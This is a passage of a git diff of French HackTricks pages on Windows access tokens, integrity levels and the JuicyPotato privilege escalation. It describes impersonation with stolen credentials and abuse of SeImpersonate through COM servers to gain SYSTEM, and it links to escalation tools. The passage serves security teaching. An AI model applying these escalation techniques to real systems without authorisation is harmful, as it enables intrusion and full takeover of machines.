Chaque **utilisateur connecté** au système **possède un jeton d'accès avec des informations de sécurité** pour cette session de connexion. Le système crée un jeton d'accès lorsque l'utilisateur se connecte. **Chaque processus exécuté** au nom de l'utilisateur **a une copie du jeton d'accès**. Le jeton identifie l'utilisateur, les groupes de l'utilisateur et les privilèges de l'utilisateur. Un jeton contient également un SID de connexion (Identifiant de sécurité) qui identifie la session de connexion actuelle.
|
||||||
|
|
||||||
Vous pouvez voir ces informations en exécutant `whoami /all`
|
Vous pouvez voir ces informations en exécutant `whoami /all`
|
||||||
```
|
```
|
||||||
|
@ -83,12 +70,12 @@ or using _Process Explorer_ from Sysinternals (select process and access"Securit
|
||||||
|
|
||||||
### Administrateur local
|
### Administrateur local
|
||||||
|
|
||||||
Lorsque un administrateur local se connecte, **deux jetons d'accès sont créés** : Un avec des droits d'administrateur et un autre avec des droits normaux. **Par défaut**, lorsque cet utilisateur exécute un processus, celui avec des **droits réguliers** (non-administrateur) **est utilisé**. Lorsque cet utilisateur essaie d'**exécuter** quoi que ce soit **en tant qu'administrateur** ("Exécuter en tant qu'administrateur" par exemple), le **UAC** sera utilisé pour demander la permission.\
|
Lorsque un administrateur local se connecte, **deux jetons d'accès sont créés** : Un avec des droits d'administrateur et l'autre avec des droits normaux. **Par défaut**, lorsque cet utilisateur exécute un processus, celui avec des **droits réguliers** (non-administrateur) **est utilisé**. Lorsque cet utilisateur essaie d'**exécuter** quoi que ce soit **en tant qu'administrateur** ("Exécuter en tant qu'administrateur" par exemple), le **UAC** sera utilisé pour demander la permission.\
|
||||||
Si vous voulez [**en savoir plus sur le UAC, lisez cette page**](../authentication-credentials-uac-and-efs/#uac)**.**
|
Si vous voulez [**en savoir plus sur le UAC, lisez cette page**](../authentication-credentials-uac-and-efs/#uac)**.**
|
||||||
|
|
||||||
### Usurpation d'identité des informations d'identification
|
### Usurpation d'identité des utilisateurs avec des identifiants
|
||||||
|
|
||||||
Si vous avez **des informations d'identification valides d'un autre utilisateur**, vous pouvez **créer** une **nouvelle session de connexion** avec ces informations d'identification :
|
Si vous avez **des identifiants valides d'un autre utilisateur**, vous pouvez **créer** une **nouvelle session de connexion** avec ces identifiants :
|
||||||
```
|
```
|
||||||
runas /user:domain\username cmd.exe
|
runas /user:domain\username cmd.exe
|
||||||
```
|
```
|
||||||
|
@ -105,7 +92,7 @@ Il existe deux types de jetons disponibles :
|
||||||
|
|
||||||
* **Jeton principal** : Il sert de représentation des identifiants de sécurité d'un processus. La création et l'association de jetons principaux avec des processus sont des actions qui nécessitent des privilèges élevés, soulignant le principe de séparation des privilèges. En général, un service d'authentification est responsable de la création de jetons, tandis qu'un service de connexion gère son association avec le shell du système d'exploitation de l'utilisateur. Il convient de noter que les processus héritent du jeton principal de leur processus parent lors de leur création.
|
* **Jeton principal** : Il sert de représentation des identifiants de sécurité d'un processus. La création et l'association de jetons principaux avec des processus sont des actions qui nécessitent des privilèges élevés, soulignant le principe de séparation des privilèges. En général, un service d'authentification est responsable de la création de jetons, tandis qu'un service de connexion gère son association avec le shell du système d'exploitation de l'utilisateur. Il convient de noter que les processus héritent du jeton principal de leur processus parent lors de leur création.
|
||||||
* **Jeton d'imitation** : Permet à une application serveur d'adopter temporairement l'identité du client pour accéder à des objets sécurisés. Ce mécanisme est stratifié en quatre niveaux de fonctionnement :
|
* **Jeton d'imitation** : Permet à une application serveur d'adopter temporairement l'identité du client pour accéder à des objets sécurisés. Ce mécanisme est stratifié en quatre niveaux de fonctionnement :
|
||||||
* **Anonyme** : Accorde l'accès au serveur similaire à celui d'un utilisateur non identifié.
|
* **Anonyme** : Accorde un accès serveur similaire à celui d'un utilisateur non identifié.
|
||||||
* **Identification** : Permet au serveur de vérifier l'identité du client sans l'utiliser pour l'accès aux objets.
|
* **Identification** : Permet au serveur de vérifier l'identité du client sans l'utiliser pour l'accès aux objets.
|
||||||
* **Imitation** : Permet au serveur d'opérer sous l'identité du client.
|
* **Imitation** : Permet au serveur d'opérer sous l'identité du client.
|
||||||
* **Délégation** : Semblable à l'imitation, mais inclut la capacité d'étendre cette hypothèse d'identité aux systèmes distants avec lesquels le serveur interagit, garantissant la préservation des identifiants.
|
* **Délégation** : Semblable à l'imitation, mais inclut la capacité d'étendre cette hypothèse d'identité aux systèmes distants avec lesquels le serveur interagit, garantissant la préservation des identifiants.
|
||||||
|
@ -128,17 +115,6 @@ Jetez un œil à [**tous les privilèges de jeton possibles et quelques définit
|
||||||
|
|
||||||
En savoir plus sur les jetons dans ces tutoriels : [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) et [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
|
En savoir plus sur les jetons dans ces tutoriels : [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) et [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site Web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -150,7 +126,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -9,26 +9,12 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Niveaux d'intégrité
|
## Niveaux d'intégrité
|
||||||
|
|
||||||
Dans Windows Vista et les versions ultérieures, tous les éléments protégés sont dotés d'une étiquette de **niveau d'intégrité**. Cette configuration attribue principalement un niveau d'intégrité "moyen" aux fichiers et aux clés de registre, sauf pour certains dossiers et fichiers auxquels Internet Explorer 7 peut écrire à un niveau d'intégrité faible. Le comportement par défaut est que les processus initiés par des utilisateurs standard ont un niveau d'intégrité moyen, tandis que les services fonctionnent généralement à un niveau d'intégrité système. Une étiquette d'intégrité élevée protège le répertoire racine.
|
Dans Windows Vista et les versions ultérieures, tous les éléments protégés sont dotés d'une étiquette de **niveau d'intégrité**. Cette configuration attribue principalement un niveau d'intégrité "moyen" aux fichiers et aux clés de registre, sauf pour certains dossiers et fichiers auxquels Internet Explorer 7 peut écrire à un niveau d'intégrité faible. Le comportement par défaut est que les processus initiés par des utilisateurs standard ont un niveau d'intégrité moyen, tandis que les services fonctionnent généralement à un niveau d'intégrité système. Une étiquette d'intégrité élevée protège le répertoire racine.
|
||||||
|
@ -52,7 +38,7 @@ Vous pouvez également obtenir votre **niveau d'intégrité actuel** en utilisan
|
||||||
|
|
||||||
### Niveaux d'intégrité dans le système de fichiers
|
### Niveaux d'intégrité dans le système de fichiers
|
||||||
|
|
||||||
Un objet à l'intérieur du système de fichiers peut nécessiter une **exigence de niveau d'intégrité minimum** et si un processus n'a pas ce niveau d'intégrité, il ne pourra pas interagir avec lui.\
|
Un objet dans le système de fichiers peut nécessiter une **exigence de niveau d'intégrité minimum** et si un processus n'a pas ce niveau d'intégrité, il ne pourra pas interagir avec lui.\
|
||||||
Par exemple, créons **un fichier régulier à partir d'une console d'utilisateur régulier et vérifions les autorisations** :
|
Par exemple, créons **un fichier régulier à partir d'une console d'utilisateur régulier et vérifions les autorisations** :
|
||||||
```
|
```
|
||||||
echo asd >asd.txt
|
echo asd >asd.txt
|
||||||
|
@ -79,7 +65,7 @@ NT AUTHORITY\SERVICE:(I)(M,DC)
|
||||||
NT AUTHORITY\BATCH:(I)(M,DC)
|
NT AUTHORITY\BATCH:(I)(M,DC)
|
||||||
Mandatory Label\High Mandatory Level:(NW)
|
Mandatory Label\High Mandatory Level:(NW)
|
||||||
```
|
```
|
||||||
C'est ici que les choses deviennent intéressantes. Vous pouvez voir que l'utilisateur `DESKTOP-IDJHTKP\user` a **tous les privilèges** sur le fichier (en effet, c'était l'utilisateur qui a créé le fichier), cependant, en raison du niveau d'intégrité minimum mis en œuvre, il ne pourra plus modifier le fichier à moins qu'il ne fonctionne dans un niveau d'intégrité élevé (notez qu'il pourra le lire) :
|
C'est ici que les choses deviennent intéressantes. Vous pouvez voir que l'utilisateur `DESKTOP-IDJHTKP\user` a **tous les privilèges** sur le fichier (en effet, c'était l'utilisateur qui a créé le fichier), cependant, en raison du niveau d'intégrité minimum mis en œuvre, il ne pourra plus modifier le fichier à moins qu'il ne fonctionne à l'intérieur d'un niveau d'intégrité élevé (notez qu'il pourra le lire) :
|
||||||
```
|
```
|
||||||
echo 1234 > asd.txt
|
echo 1234 > asd.txt
|
||||||
Access is denied.
|
Access is denied.
|
||||||
|
@ -89,12 +75,12 @@ C:\Users\Public\asd.txt
|
||||||
Access is denied.
|
Access is denied.
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**Par conséquent, lorsqu'un fichier a un niveau d'intégrité minimum, pour le modifier, vous devez être au moins à ce niveau d'intégrité.**
|
**Par conséquent, lorsqu'un fichier a un niveau d'intégrité minimum, pour le modifier, vous devez être exécuté au moins à ce niveau d'intégrité.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Niveaux d'intégrité dans les binaires
|
### Niveaux d'intégrité dans les binaires
|
||||||
|
|
||||||
J'ai fait une copie de `cmd.exe` dans `C:\Windows\System32\cmd-low.exe` et lui ai attribué un **niveau d'intégrité bas depuis une console d'administrateur :**
|
J'ai fait une copie de `cmd.exe` dans `C:\Windows\System32\cmd-low.exe` et lui ai attribué un **niveau d'intégrité bas depuis une console administrateur :**
|
||||||
```
|
```
|
||||||
icacls C:\Windows\System32\cmd-low.exe
|
icacls C:\Windows\System32\cmd-low.exe
|
||||||
C:\Windows\System32\cmd-low.exe NT AUTHORITY\SYSTEM:(I)(F)
|
C:\Windows\System32\cmd-low.exe NT AUTHORITY\SYSTEM:(I)(F)
|
||||||
|
@ -108,37 +94,10 @@ Maintenant, lorsque j'exécute `cmd-low.exe`, il **s'exécutera sous un niveau d
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (313).png>)
|
![](<../../.gitbook/assets/image (313).png>)
|
||||||
|
|
||||||
Pour les curieux, si vous assignez un niveau d'intégrité élevé à un binaire (`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`), il ne s'exécutera pas automatiquement avec un niveau d'intégrité élevé (si vous l'invoquez depuis un niveau d'intégrité moyen -- par défaut -- il s'exécutera sous un niveau d'intégrité moyen).
|
Pour les personnes curieuses, si vous assignez un niveau d'intégrité élevé à un binaire (`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`), il ne s'exécutera pas automatiquement avec un niveau d'intégrité élevé (si vous l'invoquez depuis un niveau d'intégrité moyen --par défaut-- il s'exécutera sous un niveau d'intégrité moyen).
|
||||||
|
|
||||||
### Niveaux d'intégrité dans les processus
|
### Niveaux d'intégrité dans les processus
|
||||||
|
|
||||||
Tous les fichiers et dossiers n'ont pas un niveau d'intégrité minimum, **mais tous les processus s'exécutent sous un niveau d'intégrité**. Et similaire à ce qui s'est passé avec le système de fichiers, **si un processus veut écrire à l'intérieur d'un autre processus, il doit avoir au moins le même niveau d'intégrité**. Cela signifie qu'un processus avec un niveau d'intégrité faible ne peut pas ouvrir un handle avec un accès complet à un processus avec un niveau d'intégrité moyen.
|
Tous les fichiers et dossiers n'ont pas un niveau d'intégrité minimum, **mais tous les processus s'exécutent sous un niveau d'intégrité**. Et similaire à ce qui s'est passé avec le système de fichiers, **si un processus veut écrire à l'intérieur d'un autre processus, il doit avoir au moins le même niveau d'intégrité**. Cela signifie qu'un processus avec un niveau d'intégrité faible ne peut pas ouvrir un handle avec un accès complet à un processus avec un niveau d'intégrité moyen.
|
||||||
|
|
||||||
En raison des restrictions commentées dans cette section et la précédente, d'un point de vue sécurité, il est toujours **recommandé d'exécuter un processus au niveau d'intégrité le plus bas possible**.
|
En raison des restrictions commentées dans cette section et la précédente, d'un point de vue sécurité, il est toujours **recommandé d'exécuter un processus au niveau d'intégrité le plus bas possible**.
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux dépôts github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
|
|
|
@ -15,22 +15,8 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
**JuicyPotato ne fonctionne pas** sur Windows Server 2019 et Windows 10 build 1809 et suivants. Cependant, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) peuvent être utilisés pour **exploiter les mêmes privilèges et obtenir un accès de niveau `NT AUTHORITY\SYSTEM`**. _**Vérifiez :**_
|
**JuicyPotato ne fonctionne pas** sur Windows Server 2019 et Windows 10 build 1809 et versions ultérieures. Cependant, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) peuvent être utilisés pour **exploiter les mêmes privilèges et obtenir un accès de niveau `NT AUTHORITY\SYSTEM`**. _**Vérifiez :**_
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% content-ref url="roguepotato-and-printspoofer.md" %}
|
{% content-ref url="roguepotato-and-printspoofer.md" %}
|
||||||
|
@ -39,7 +25,7 @@ Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
||||||
|
|
||||||
## Juicy Potato (abus des privilèges dorés) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
## Juicy Potato (abus des privilèges dorés) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||||
|
|
||||||
_Une version sucrée de_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, avec un peu de jus, c'est-à-dire **un autre outil d'élévation de privilèges locaux, d'un compte de service Windows à NT AUTHORITY\SYSTEM**_
|
_Une version sucrée de_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, avec un peu de jus, c'est-à-dire **un autre outil d'escalade de privilèges locaux, d'un compte de service Windows à NT AUTHORITY\SYSTEM**_
|
||||||
|
|
||||||
#### Vous pouvez télécharger juicypotato depuis [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
#### Vous pouvez télécharger juicypotato depuis [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||||
|
|
||||||
|
@ -47,11 +33,11 @@ _Une version sucrée de_ [_RottenPotatoNG_](https://github.com/breenmachine/Rott
|
||||||
|
|
||||||
[**Depuis le Readme de juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
[**Depuis le Readme de juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||||
|
|
||||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) et ses [variantes](https://github.com/decoder-it/lonelypotato) exploitent la chaîne d'élévation de privilèges basée sur le service [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) ayant l'écouteur MiTM sur `127.0.0.1:6666` et lorsque vous avez les privilèges `SeImpersonate` ou `SeAssignPrimaryToken`. Lors d'un examen de build Windows, nous avons trouvé une configuration où `BITS` était intentionnellement désactivé et le port `6666` était pris.
|
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) et ses [variantes](https://github.com/decoder-it/lonelypotato) exploitent la chaîne d'escalade de privilèges basée sur le service [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) ayant l'écouteur MiTM sur `127.0.0.1:6666` et lorsque vous avez les privilèges `SeImpersonate` ou `SeAssignPrimaryToken`. Lors d'un examen de build Windows, nous avons trouvé une configuration où `BITS` était intentionnellement désactivé et le port `6666` était pris.
|
||||||
|
|
||||||
Nous avons décidé d'armement [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) : **Dites bonjour à Juicy Potato**.
|
Nous avons décidé d'armement [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) : **Dites bonjour à Juicy Potato**.
|
||||||
|
|
||||||
> Pour la théorie, voir [Rotten Potato - Élévation de privilèges des comptes de service à SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) et suivez la chaîne de liens et de références.
|
> Pour la théorie, voir [Rotten Potato - Escalade de privilèges des comptes de service à SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) et suivez la chaîne de liens et de références.
|
||||||
|
|
||||||
Nous avons découvert que, en plus de `BITS`, il existe plusieurs serveurs COM que nous pouvons exploiter. Ils doivent simplement :
|
Nous avons découvert que, en plus de `BITS`, il existe plusieurs serveurs COM que nous pouvons exploiter. Ils doivent simplement :
|
||||||
|
|
||||||
|
@ -68,7 +54,7 @@ JuicyPotato vous permet de :
|
||||||
* **CLSID cible** _choisissez n'importe quel CLSID que vous voulez._ [_Ici_](http://ohpe.it/juicy-potato/CLSID/) _vous pouvez trouver la liste organisée par OS._
|
* **CLSID cible** _choisissez n'importe quel CLSID que vous voulez._ [_Ici_](http://ohpe.it/juicy-potato/CLSID/) _vous pouvez trouver la liste organisée par OS._
|
||||||
* **Port d'écoute COM** _définissez le port d'écoute COM que vous préférez (au lieu du 6666 codé en dur)_
|
* **Port d'écoute COM** _définissez le port d'écoute COM que vous préférez (au lieu du 6666 codé en dur)_
|
||||||
* **Adresse IP d'écoute COM** _lier le serveur à n'importe quelle IP_
|
* **Adresse IP d'écoute COM** _lier le serveur à n'importe quelle IP_
|
||||||
* **Mode de création de processus** _selon les privilèges de l'utilisateur imité, vous pouvez choisir parmi :_
|
* **Mode de création de processus** _en fonction des privilèges de l'utilisateur imité, vous pouvez choisir parmi :_
|
||||||
* `CreateProcessWithToken` (nécessite `SeImpersonate`)
|
* `CreateProcessWithToken` (nécessite `SeImpersonate`)
|
||||||
* `CreateProcessAsUser` (nécessite `SeAssignPrimaryToken`)
|
* `CreateProcessAsUser` (nécessite `SeAssignPrimaryToken`)
|
||||||
* `les deux`
|
* `les deux`
|
||||||
|
@ -103,7 +89,7 @@ Si l'utilisateur a les privilèges `SeImpersonate` ou `SeAssignPrimaryToken`, al
|
||||||
|
|
||||||
Il est presque impossible d'empêcher l'abus de tous ces serveurs COM. Vous pourriez penser à modifier les permissions de ces objets via `DCOMCNFG`, mais bonne chance, cela va être difficile.
|
Il est presque impossible d'empêcher l'abus de tous ces serveurs COM. Vous pourriez penser à modifier les permissions de ces objets via `DCOMCNFG`, mais bonne chance, cela va être difficile.
|
||||||
|
|
||||||
La solution réelle est de protéger les comptes et applications sensibles qui s'exécutent sous les comptes `* SERVICE`. Arrêter `DCOM` inhiberait certainement cette exploitation, mais pourrait avoir un impact sérieux sur le système d'exploitation sous-jacent.
|
La véritable solution est de protéger les comptes et applications sensibles qui s'exécutent sous les comptes `* SERVICE`. Arrêter `DCOM` inhiberait certainement cette exploitation, mais pourrait avoir un impact sérieux sur le système d'exploitation sous-jacent.
|
||||||
|
|
||||||
De: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
De: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
||||||
|
|
||||||
|
@ -152,17 +138,6 @@ Ensuite, téléchargez [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/b
|
||||||
|
|
||||||
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
|
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -174,7 +149,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
